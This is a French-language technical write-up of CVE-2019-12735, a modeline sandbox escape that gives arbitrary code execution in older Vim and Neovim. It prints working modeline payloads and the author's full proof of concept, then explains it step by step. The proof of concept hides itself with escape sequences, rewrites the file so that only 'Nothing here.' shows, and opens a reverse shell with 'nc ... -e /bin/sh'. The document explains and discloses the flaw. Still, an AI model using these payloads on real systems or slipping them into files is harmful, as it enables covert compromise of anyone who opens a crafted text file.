
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim dans les versions antérieures à 8.1.1365 et Neovim dans les versions antérieures à 0.3.6 présentent une vulnérabilité qui permet facilement une exécution de code arbitraire via modeline lors de l'ouverture d'un fichier texte contenant un contenu spécial.
Modeline est une fonctionnalité activée par défaut, applicable à tous les types de fichiers, y compris les fichiers .txt, qui recherche et applique/exécute automatiquement un ensemble d'options mentionnées par le créateur du fichier en début et en fin de fichier. Voici une ligne de commande modeline typique :
/* vim: set textwidth=80 tabstop=8: */
Pour renforcer la sécurité, seul un sous-ensemble d'options est autorisé à être appliqué/exécuté dans les modelines et, si la valeur d'une option contient une expression, celle-ci est exécutée dans un sandbox :
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
Le sandbox aide à prévenir les effets de bord :
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
Cependant, la commande :source! (avec [!] après) peut être utilisée pour contourner le sandbox. Elle force vim à lire et exécuter les commandes d'un fichier donné comme si elles étaient saisies manuellement dans vim, en les exécutant après être sorti du sandbox. C'est précisément ce qui crée la vulnérabilité permettant l'exécution de code arbitraire via vim.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
À partir de cette vulnérabilité, on peut construire une modeline pour exécuter du code hors du sandbox :
# vim: set foldexpr=execute('\:source! some_file'):
On peut également utiliser assert_fails() en remplacement de execute() :
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
Ajoutez derrière source! le caractère % pour exécuter le fichier courant ; l'exemple ci-dessous exécutera uname -a || "(garbage)" en tant que commande shell :
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Par ailleurs, la fonction nvim_input(), propre à l'exploitation de la vulnérabilité sur Neovim, est utilisée comme dans l'exemple suivant :
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
L'auteur a fourni un PoC permettant de créer un reverse shell, en utilisant le caractère Esc pour masquer le contenu lorsque la victime ouvre le fichier, en y écrivant un nouveau contenu.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
Ci-dessus, un PoC de l'auteur. Cependant, pour le rendre plus compréhensible pour le lecteur, nous allons retirer quelques passages de ce PoC pour obtenir :
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Lorsque vim s'ouvre, la fonctionnalité modeline vérifie le début et la fin du fichier pour trouver la commande modeline (ici 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:') ; une fois trouvée, elle exécute la commande. Selon le fonctionnement de modeline décrit plus haut, la commande source! % exécute le fichier courant comme si l'on saisissait manuellement le contenu de ce fichier dans vim.
D'abord, elle exécute la chaîne "\x1bSNothing here.\x1b:silent! w ". Si vous avez déjà utilisé vim, vous connaissez sûrement le mode command de vim ; pour entrer dans ce mode, il suffit d'appuyer sur la touche Esc, dont la valeur est 0x1b. C'est pourquoi le début du PoC ci-dessus contient 0x1b pour entrer dans le mode command de vim.
Une fois en mode commande, si l'on appuie sur la touche S, le contenu de la ligne pointée est immédiatement supprimé et l'on revient en mode insertion ; c'est pourquoi le caractère suivant est S pour supprimer le contenu du fichier PoC et créer un nouveau contenu.
À ce moment, le texte "Nothing here." est écrit dans le fichier, puis on rencontre la touche Esc pour revenir en mode commande et la commande :silent! w pour écrire le nouveau texte ("Nothing here.") dans le fichier sans afficher le moindre message à l'écran.
Une fois le fichier écrit, il continue avec la commande call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') et les commandes suivantes pour établir le reverse shell. La dernière commande — silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n — contient un # après silent!, ce qui fait que vim la traite comme un commentaire et ne l'exécute donc pas.
Ainsi, lorsque l'utilisateur ouvre le PoC ci-dessus avec vim/neovim, l'attaquant obtient un shell de l'utilisateur sans que celui-ci s'en aperçoive, car côté utilisateur n'apparaît que la ligne de texte "Nothing here." qui vient d'être écrite via la fonctionnalité modeline.
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md